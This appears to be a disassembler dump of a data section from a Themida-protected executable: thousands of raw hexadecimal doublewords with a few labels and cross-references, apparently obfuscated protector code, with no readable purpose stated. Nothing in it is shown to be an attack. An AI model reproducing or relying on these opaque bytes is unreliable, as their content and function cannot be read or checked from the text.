		dd 5A310F52h, 0B9665B58h, 906109B6h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 93C35646h, 0BB66D559h, 0BD8B3B2Bh
		dd 6480479h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 6A70C3h,	20A59D8Bh, 858D0648h, 64CC193h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 81C35343h
		dd 897B9476h, 6A05C083h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 72C1C351h, 8B7D7D2Dh
		dd 480D71BDh, 0F575006h, 48Ah, 0CEBF6600h, 4895FC0h, 0F9BD8924h
		dd 8B064825h, 482AEDBDh, 6A006A06h, 0F2E38000h,	277D95FFh
		dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD898CC3h, 6480C65h, 8DF98B66h, 4B9C148Dh
		dd 0D3E38106h, 0FF49AAEAh, 55006AD1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 7F2C02B2h
		dd 0BD83FBCFh, 6481949h, 9F850F01h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0A93FC355h, 0F7CD76D8h, 9D8BBB68h, 6480A5Dh,	1FB5BD89h
		dd 26A0648h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	48C35747h, 2E69E46Dh, 0E88893F7h, 0Ch, 32849D96h
		dd 188DE00Bh, 0ADE93390h, 31DD9D8Bh, 905B0648h,	0AE8h
		dd 23103100h, 512F247h,	665C5FDEh, 5B68AABBh, 7109BB50h
		dd 6690676Eh, 0F632D381h, 26E98501h, 95FF0648h,	64823E1h
		dd 27DD8D89h, 30E90648h, 0E800000Eh, 0
		dd 9DED815Dh, 8B064CC1h, 4819C19Dh, 8EDF8006h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 25C35242h, 0B99D3323h
		dd 8D064819h, 4B974485h, 4D9D8B06h, 5006481Eh, 89DA8B66h
		dd 81662404h, 646590E7h, 35FFh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9501CAC3h
		dd 6480A51h, 258964h, 0E9000000h, 9, 9BE62A0Ch,	126ADB9Ch
		dd 2D85FF2Dh, 3106480Ah, 480A6985h, 6AFF6A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0D994C357h, 0FC768102h, 27B5B5FFh, 5B570648h, 0AA595FFh
		dd 29E90648h, 66000001h, 0F6ACEB81h, 89F900B0h,	48272D85h
		dd 8B70E606h, 6671E4DFh, 613CDA8Bh, 10A830Fh, 800F0000h
		dd 2, 0BF66F98Bh, 0B60F1EEEh, 0F9BF0FC8h, 6BAh,	999D8B00h
		dd 8B06481Ch, 4E8C1C1h,	0DC58589h, 1530648h, 481BD1BDh
		dd 0F7665B06h, 259501E2h, 2B064814h, 13880FC8h,	0E9000000h
		dd 0Eh,	521C8521h, 57458DE7h, 0A3A12D6Eh, 0D18B6414h, 0E75B509h
		dd 0A9E90648h, 0E9000000h, 0Dh,	0EE9F7142h, 0BBCF3F5Bh
		dd 582182C3h, 19830FCFh, 53000000h, 12E9h, 14F0AD00h, 758E8A73h
		dd 0C1B25C3Dh, 7FADF2Eh, 5BA0C51Ah, 1858Bh, 0BD8B0000h
		dd 64804C9h, 8907C083h,	48310D85h, 0C08306h, 267FEB81h
		dd 8B66745Ch, 0FD03BFAh, 1283h,	2D9D8B00h, 0E906481Dh
		dd 44h,	1800Fh,	8BF90000h, 0FFFFFF8Dh, 659501FFh, 8306480Ch
		dd 840F01E1h, 28h, 7E28CB81h, 0A583226Ch, 0FFFFFFFFh, 199D8BFEh
		dd 89064830h, 195h, 48D0F00h, 66000000h, 0E9A86ABBh, 0
		dd 45E1B58Dh, 6A064Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0B8C562C3h, 26C59896h, 64D78017h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 6643FEC3h, 7E81Ch, 94CF0000h, 0E19663C2h
		dd 75BD235Fh, 5B064827h, 15860Fh, 0BE80000h, 1000000h
		dd 0B7102540h, 1A1F14ECh, 0BB66AE6Dh, 0FF5F2C06h, 48306195h
		dd 0E6B9F906h, 6A00000Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 89A8C352h, 4829218Dh
		dd 8B665206h, 0E1835BFBh, 8D9529FCh, 0FC064800h, 0DD19D8Bh
		dd 0C02B0648h, 28598529h, 9D890648h, 6482089h, 9589D22Bh
		dd 6482A49h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 26C35545h, 0D0A6928h
		dd 32C99D0Bh, 13E90648h, 3D000000h, 30722237h, 0D3064D36h
		dd 0F75E8B01h, 76969EC3h, 6A8FC3h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 94280BC3h, 12E9h, 9C0B6E00h
		dd 19F47F6Bh, 4934891Fh, 0AF1A112Ah, 0D82D79Bh,	88h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E6C35343h, 6AD008E3h
		dd 0BB664A39h, 958B0AFEh, 6480A19h, 3880Fh, 0B70F0000h
		dd 358D8BF9h, 6606480Fh, 1F25F381h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 8D895818h, 6481401h, 0BD83F98Bh
		dd 64819A5h, 61840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 1690C350h
		dd 0FA9AF532h, 8B66B3B4h, 0B8DEh, 8D8D0000h, 6484B64h
		dd 326D9589h, 0E1FF0648h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 3CC35545h, 152D9D8Bh,	85890648h, 64826DDh
		dd 2425BD83h, 0F000648h, 50984h, 15958900h, 8306480Bh
		dd 482425BDh, 840F0106h, 511h, 2425BD83h, 0F030648h, 4CE86h
		dd 0FBB70F00h, 51006A60h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0BD4A5173h, 0CF80815Dh
		dd 0D98C66B7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0BC35545h, 60F22889h, 0B58BF78Bh, 6482EC1h, 4E18061h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FBC35242h
		dd 85858B60h, 66064829h, 0C388DE81h, 0B58D0161h, 0A06480Fh
		dd 40840FC9h, 66000001h, 8B26AABFh, 48238585h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 77DA2B70h, 0E9F8014Eh, 10h, 5C9D5E31h, 373EDF12h, 9C7E7AEDh
		dd 0D9E5B96Ch, 2AC98533h, 0BD230648h, 64829DDh,	810F5250h
		dd 5, 676D87BBh, 4895F4Ah, 505F5124h, 14E9h, 0F126C00h
		dd 0B9D9BD2Eh, 0FB057148h, 8BF83FEEh, 0CE04B387h, 6A5F67h
		dd 2DC98501h, 0B8680648h, 810951DEh, 0DD472434h, 8E9094Eh
		dd 0EB000000h, 77B123BAh, 0FFEFA66Fh, 481C0195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0DF29AF58h, 1BDCC28Fh, 1AE759BBh, 99D8B76h, 8906482Ah
		dd 4BB92C85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0C78166C4h, 9D0B209Fh, 64818C9h
		dd 2C7E9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1804h, 0C3504000h, 0EB6A2A88h, 12E823h, 62DD0000h, 6B0EE677h
		dd 5A723CD1h, 8B5758D9h, 0A0A30D64h, 3235BD2Bh,	8B5B0648h
		dd 4BB92485h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 12E927h, 0B50B0000h, 1612BD91h, 866674Ch
		dd 0BCFE3CFDh, 705EDA20h, 70B0BF66h, 1800C7h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0D440FC3h, 9E85783h,	0FB000000h, 373BB1Fh, 0A96A20ECh
		dd 1F819509h, 0F5B0648h, 682h, 0D9D0300h, 8B064828h, 4BB928B5h
		dd 6E806h, 7FA10000h, 0F9B8EE6Ah, 5FE8CF80h, 2BF1858Bh
		dd 0EE90648h, 0A0000000h, 357A6A53h, 0ECD01A98h, 0B3DC9A5Fh
		dd 42BF664Bh, 0E9068976h, 5, 34E69D18h,	85858B4Ch, 6A064823h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 9A4C355h,	44285BC1h, 8E0F44h, 89000000h
		dd 6A0446h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 4E3789C3h, 8B6632C1h, 5E896FEh, 2A000000h
		dd 5827ED12h, 14E95250h, 0A4000000h, 43025398h,	0CC61C74Ah
		dd 2AD9ECEAh, 0D5CDBC01h, 0F679BDFh, 12E831h, 84740000h
		dd 758875EBh, 882A3617h, 0AA02F8A0h, 0CDFFE3EBh, 5B585A5Bh
		dd 0E9606050h, 0Dh, 4B5D2F23h, 55865982h, 0CB510289h, 0F606177h
		dd 8Ah,	8A0F00h, 61000000h, 10E89661h, 0B5000000h, 337646D1h
		dd 0D8D23177h, 6322CED9h, 0F924E36h, 284h, 5BDC8A00h, 0B924B5FFh
		dd 8589064Bh, 6480EFDh,	25C8DB68h, 10E875h, 36A30000h
		dd 0C120698Eh, 0B111A38Ch, 0B9487115h, 50608C09h, 13E95Bh
		dd 0CD8B0000h, 752AB5BAh, 2D35B1B1h, 2366A036h,	1E017CBDh
		dd 815B6176h, 0CB242434h, 6A753Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 94AF4DC3h, 2DF557E2h
		dd 80939EF6h, 0DB80F9E3h, 2C858DC5h, 6A064BB9h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0DCD6C350h, 0F19D89EFh, 9006482Ah, 8B50D88Bh, 6A90DAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 7760BEC3h, 0FF74B754h, 481C0195h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0B760FE18h
		dd 52006A61h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 8B536F2Ah, 8AC4450h, 0E3810CF3h,	2392403Ch
		dd 242585C7h, 30648h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0F6546CC3h, 3325B537h
		dd 0DF8BF8ECh, 0B92CBD83h, 0F00064Bh, 0E84h, 0C1858900h
		dd 0E906481Bh, 1Eh, 50F8B70Fh, 110C30h,	0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 6A09C3h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0E741DCC3h
		dd 0E3D2EAB2h, 1F75BD33h, 0BD830648h, 6482425h,	2D850F03h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0C00DC353h, 394F2B03h,	0DE7BF305h
		dd 0AE9h, 0C400B200h, 8521190Eh, 89E7521Ch, 4813ED9Dh
		dd 2CBD8306h, 64BB9h
		dd 3E6840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 9112E6C3h, 0A02B465Ch, 9D50C45h
		dd 48320D9Dh, 28C0F06h,	0B7000000h, 2CB5FFA8h, 0F8064BB9h
		dd 0E3595FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0F25E4CC3h, 892F9D03h, 482A898Dh
		dd 20B58B06h, 0BB064BB9h, 52D84070h, 106C7h, 6A0001h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 8448F6C3h, 0E19D8B7Fh, 8B06481Eh, 482F11BDh,	8B609606h
		dd 6116B0D0h, 0EE950h, 0B9EF0000h, 6E4B9916h, 0A56B399h
		dd 1B29CE4h, 2CB5FF96h,	6A064BB9h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2825C351h
		dd 699D89FEh, 0FF064825h, 481D5995h, 0E58D2906h, 8B064800h
		dd 4BB920B5h, 27C78106h, 8B3F45D4h, 48104985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 73306ADh, 0F90B11FDh, 46E52BBFh, 0C486894Dh,	0E9000000h
		dd 7, 0E5C9D663h, 8B93D529h, 480A1995h,	57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 896C8E63h, 480A4185h, 4C28306h, 1FC59D8Bh, 12E90648h
		dd 8F000000h, 0DB81E1E0h, 0D0127FD9h, 283044D4h, 0EF2559C3h
		dd 20508995h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	1CC35545h, 0C3AEDC07h, 7D9589h,	858D0648h, 64BCE09h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 82C35242h
		dd 14FCC170h, 8960842Fh, 4809298Dh, 818D3306h, 6106482Dh
		dd 68B0Fh, 9D090000h, 6481FE5h,	0B88689h, 6AF90000h, 14E900h
		dd 945C0000h, 49912999h, 8E97B60Dh, 9789F0F8h, 7E837EEBh
		dd 0B5FF77EBh, 64BB92Ch, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 6DC35646h, 0F229C8A8h, 5E9h, 0B654AC00h
		dd 95FFFC88h, 64823E1h,	0F6096F8h, 287h, 61616000h, 28C0F50h
		dd 8B000000h, 6A96FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0EA74CC3h, 0FA8BF61Ah, 0FF13C380h
		dd 4BB92CB5h, 0FDBD8B06h, 0FF06480Dh, 480E2D95h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0C60F3AC5h, 816084DBh, 917240EFh, 0A1BD833Ah, 6481Ch
		dd 49840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 160424h, 56460000h, 7218BC3h, 96DE8B66h, 6A9650h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 1E7C84C3h, 0ED9D8BCBh, 0FF064820h, 4BB92CB5h, 81665106h
		dd 5FBDC0EFh, 271995FFh, 6A0648h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0D13848C3h, 3508AEB3h
		dd 0B5FF7AAEh, 64BB92Ch, 14D1BD8Bh, 95FF0648h, 6480B41h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 40C35343h
		dd 957F52E4h, 0F83CB7E0h, 0CCDBD83h, 0F020648h,	4484h
		dd 2860F00h, 8A000000h,	0D5858BF9h, 0BB06480Fh,	60739F15h
		dd 0D3DBD33h, 0C60648h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0FF960D6h, 8B61C9BFh
		dd 481A059Dh, 6985C706h, 6480Eh, 0BF000000h, 55B1887Ch
		dd 0FFF2B0E9h, 51006AFFh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 692F6F36h, 8BABE4F7h
		dd 51006AC1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 1BC4FB6Bh, 8D9D74A4h, 4832FD85h,	38C0F06h
		dd 0F000000h, 5050DBBFh, 63BB6652h, 0BF310FD9h,	2367EA58h
		dd 489585Ah, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0E901D2B0h, 14h, 46FABCD8h, 6AFBC1A9h
		dd 0D4A3E132h, 8A58629h, 0DA089DF2h, 1B0DBD8Bh,	6A0648h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A7C35141h
		dd 0F04C1943h, 9D167DDh, 481D8DB5h, 0AD958906h,	6A064832h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0BBCE7103h, 486238E2h, 0D235858Dh, 0C083064Ch
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 891BC29Ch, 480CEDBDh, 8B665006h,	240489FEh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 69C35242h
		dd 97880758h, 0E381006Ah, 4C5F2789h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0C0341AC3h
		dd 0AD97BF66h, 277D95FFh, 6A0648h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 2BCB75C3h, 14E9h, 46A90500h
		dd 0FDABA39Eh, 0AF332E2Dh, 13B745Ah, 2590623h, 148D8D01h
		dd 6A064B9Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 37B1C357h, 0DA602B86h,	830F591Eh
		dd 6, 0E31BD8Bh, 0F600648h, 18Dh, 8166F500h, 6104CFDFh
		dd 6AD1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9D8B71C3h, 6481811h, 11EF8166h, 49BD8331h
		dd 1064819h, 82850Fh, 6AF90000h, 0A1BD3102h, 8906480Ah
		dd 4804F1B5h, 0AE95006h, 0CF000000h, 0B8AFA1C1h, 4237DD80h
		dd 24048926h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	0C0C35141h, 12E9A3h, 0F2980000h, 0D2A0228Dh, 60E99C91h
		dd 0FA1E5DE8h, 0E4226970h, 0FFF8B70Fh, 4823E195h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 85894525h, 6480CFDh,	0CE3E9h
		db 0
byte_589FA9	db 0E8h, 2 dup(0)	; DATA XREF: Themida_:0053F2F4o
		dd 815D0000h, 4CD23FEDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0FBFEB5D6h, 25859D89h
		dd 7E90648h, 0A1000000h, 0CA1E6D4Ah, 0BD8BFDE2h, 6482815h
		dd 9744858Dh, 8166064Bh, 90A6BEDBh, 0AE9h, 0E953F500h
		dd 3895878Dh, 503FFB14h, 0BE960h, 83FC0000h, 44F0FDF4h
		dd 0F099AD4Ch, 44BE66E0h, 6A90619Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0AA2EC355h
		dd 0C158D36Fh, 600F5214h, 0FE8h, 0E3A35600h, 0AEF52EF7h
		dd 16C0DA3Ah, 2FFC0262h, 0AE8h,	168A4B00h, 6055D774h, 5B8A9BA4h
		dd 12E959h, 1F970000h, 0E5C1ABA7h, 78274D91h, 84EBD571h
		dd 6232A5F0h, 35FF6461h, 0
		dd 2A29BD8Bh, 0B70F0648h, 258964F8h, 0
		dd 85FFDF8Bh, 6480A2Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0DDC35343h, 9D89601Ah, 648233Dh, 0C3D08166h
		dd 0FF6A6110h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	85C35747h, 66AC008Ah, 0AC53CB81h, 29E1B5FFh, 95FF0648h
		dd 6480AA5h, 12EE9h, 0C98D8900h, 0B006482Eh, 0D59D8900h
		dd 0E6064806h, 88B0F70h, 53000000h, 2DB1B509h, 0E45F0648h
		dd 599D8B71h, 5106480Bh, 5FFA8B66h, 830F613Ch, 0FBh, 2F959D8Bh
		dd 0B60F0648h, 6FCF81C8h, 0BA41A08Ch, 6, 8BDBBF0Fh, 0C78166C1h
		dd 0E8C18F81h, 0DBD3104h, 66064814h, 0BF66E2F7h, 0BD8B0E54h
		dd 6480C65h, 8C0FC82Bh,	4, 0FA08BF66h, 0BD8BD18Bh, 6480FA5h
		dd 0AEE9h, 0AE900h, 0A6170000h,	428F5F47h, 1C79BD8Eh, 4858Bh
		dd 83F80000h, 816607C0h, 8359FDD7h, 8D8900C0h, 648011Dh
		dd 830FD03Bh, 24h, 248DBD8Bh, 0BE90648h, 7B000000h, 0BFC54373h
		dd 0A46EDCC7h, 64E95999h, 0F000000h, 38Ch, 0DE8B6600h
		dd 0FFFF8D8Bh, 960FFFFh, 482ACD85h, 0CF816106h,	617C0A75h
		dd 0F01E183h, 3E84h, 81853100h,	0E9064806h, 10h, 0FF0CE72Bh
		dd 104653BCh, 99B9B82Eh, 0A5DE2B64h, 0FFFFA583h, 29FEFFFFh
		dd 480DD1B5h, 8638BB06h, 958930ECh, 4, 2595BD89h, 0E90648h
		dd 8D000000h, 4C53C7B5h, 0FB8B6606h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F0B87FC3h
		dd 52DF0FC9h, 1FF19D8Bh, 665F0648h, 0BB66FA8Bh,	95FF1CE2h
		dd 6483061h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	1FC35747h, 31BF9F88h, 279F806Ah, 0FD2B9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 6650DD1Bh, 2D8FD053h, 9501AEB8h, 64823B9h, 0FCFCE183h
		dd 0C02BF5FCh, 6830Fh, 9D8B0000h, 6482DE9h, 0BAF88Bh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 94AEC352h, 94B2E113h, 0F5DC8407h,	1E83CB81h
		dd 0BB576417h, 4322BB3Dh, 0C233AD5Bh, 0D003E8D1h, 7504E983h
		dd 958960F4h, 6480EA1h,	0AC9BD8Bh, 0F610648h, 68Dh, 0B99D0900h
		dd 0D064800h, 88h, 0DD8D8957h, 5B06482Eh, 0A19958Bh, 0BF0F0648h
		dd 358D8BF8h, 6A06480Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 5A32C351h, 25A9519h
		dd 0E6E380F9h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0D375DCC3h, 0B526433Eh, 9D2386CEh, 6480935h
		dd 2E69E381h, 6A421Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0C5AF24C3h, 0A5BD8363h, 64819h
		dd 2B840Fh, 8D890000h, 6482D61h, 0B8h, 0C9BD0B00h, 8B064804h
		dd 480C719Dh, 648D8D06h, 2306484Bh, 480DA5BDh, 81E1FF06h
		dd 144E11E3h, 25BD836Dh, 64824h, 40A840Fh, 0BB660000h
		dd 0BD838337h, 6482425h, 14840F01h, 0F000004h, 183h, 0BD83F500h
		dd 6482425h, 0CA860F03h, 6A000003h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 416AC352h
		dd 3B8311E5h, 0FFBF0F26h, 60DAB70Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0BC35646h, 469F9982h, 73040624h
		dd 19358589h, 0D3800648h, 0D98C66AEh, 3870Fh, 8B660000h
		dd 4E180FAh, 0E850006Ah, 3, 58C35820h, 4244489h
		db 81h,	44h, 24h
byte_58A4BB	db 4			; DATA XREF: Themida_:0053FB14o
		dd 16h,	6FC35040h, 0AFC57A5h, 8840FC9h,	66000001h, 858BFE8Bh
		dd 6482385h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	2DC35141h, 0C2B82DDh, 9560EC43h, 9D8BDA8Bh, 6482779h
		dd 2AC98533h, 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 7870FC3h, 9BF7701h, 480611B5h, 49BB6606h
		dd 800F9095h, 4, 0DABB66h, 0F6BB6650h, 0D88B9078h, 0BD8B006Ah
		dd 6480F1Dh, 88CABF66h,	31ADB68h, 8E9D8h, 73690000h, 41E9EF49h
		dd 481B06Ah, 1BE92424h,	52006A28h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0FEA2A21Eh, 6709C2CAh
		dd 1874BB66h, 1C0195FFh, 8B500648h, 482EE99Dh, 85895B06h
		dd 64BB92Ch, 6C5BD8Bh, 1BE90648h, 6A000002h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 318AC351h, 8CAE6F4Fh, 8BE1E286h, 4BB92485h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 76E494D9h, 26B26B71h, 8AFCBB46h, 0BD89795Ah,	648140Dh
		dd 1800C7h, 0F520000h, 582h, 0EF816600h, 8B5BA56Dh, 4BB928B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 681324Ah, 57482D9Fh, 0BEC5DF81h,	8B5B07B4h
		dd 482BF185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0CE8D898h, 0E000000h, 0C576C0FAh
		dd 80629C74h, 66549A67h, 895BD98Bh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 4E6BCDA2h
		dd 10E99A6Dh, 2A000000h, 6CA8614Bh, 0C11C42C5h,	7E9BB8F0h
		dd 8B52CDB3h, 48238585h, 4468906h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0B1C35646h,	96F3C53Fh, 5408BB66h
		dd 0BBA5BF50h, 6A960C50h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0CC7C355h, 1EA19D29h
		dd 0B5FF0648h, 64BB924h, 0E8E1C380h, 4,	1F03FFh, 0FB8B6650h
		dd 424448Bh, 660AB060h,	619591BBh, 0FB8B008Bh, 4244489h
		dd 51A5BF66h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0FF861363h, 8C7EEA76h, 0BD232976h
		dd 6480CB5h, 0B92C858Dh, 48B3064Bh, 56525050h, 0A71BBB66h
		dd 8B310F5Bh, 89585AF9h, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 790643C3h, 2C6DC0D7h
		dd 1C0195FFh, 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8B61B8C3h, 4832D19Dh, 2585C706h
		dd 3064824h, 3000000h, 48303DBDh, 0AE806h, 1AF10000h, 8506D78Fh
		dd 0BB096EFBh, 2CBD835Bh, 64BB9h, 0B840Fh, 0BB660000h
		dd 1DE9F4F6h, 8B000000h, 0C3050F8h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 4DC35242h, 0F5350900h, 0FD754E03h, 6A76C380h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 5344C355h, 0BE9h,	0AA581600h, 62AC76E9h
		dd 7C71E170h, 0AB0BBB5Fh, 0BD830440h, 6482425h,	0A8850F03h
		dd 6A000003h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 4EBEC356h, 0C8321B8Ah,	0BD837E73h
		dd 64BB92Ch, 78840F00h,	0E8000003h, 7, 95B10D9h, 2B3A3A8Eh
		dd 481CE99Dh, 0B5FF5F06h, 64BB92Ch, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 8AC35646h, 0D017DA9h, 3595FFF9h
		dd 6606480Eh, 4B50E381h, 0B920B58Bh, 8166064Bh,	0C78B5FEBh
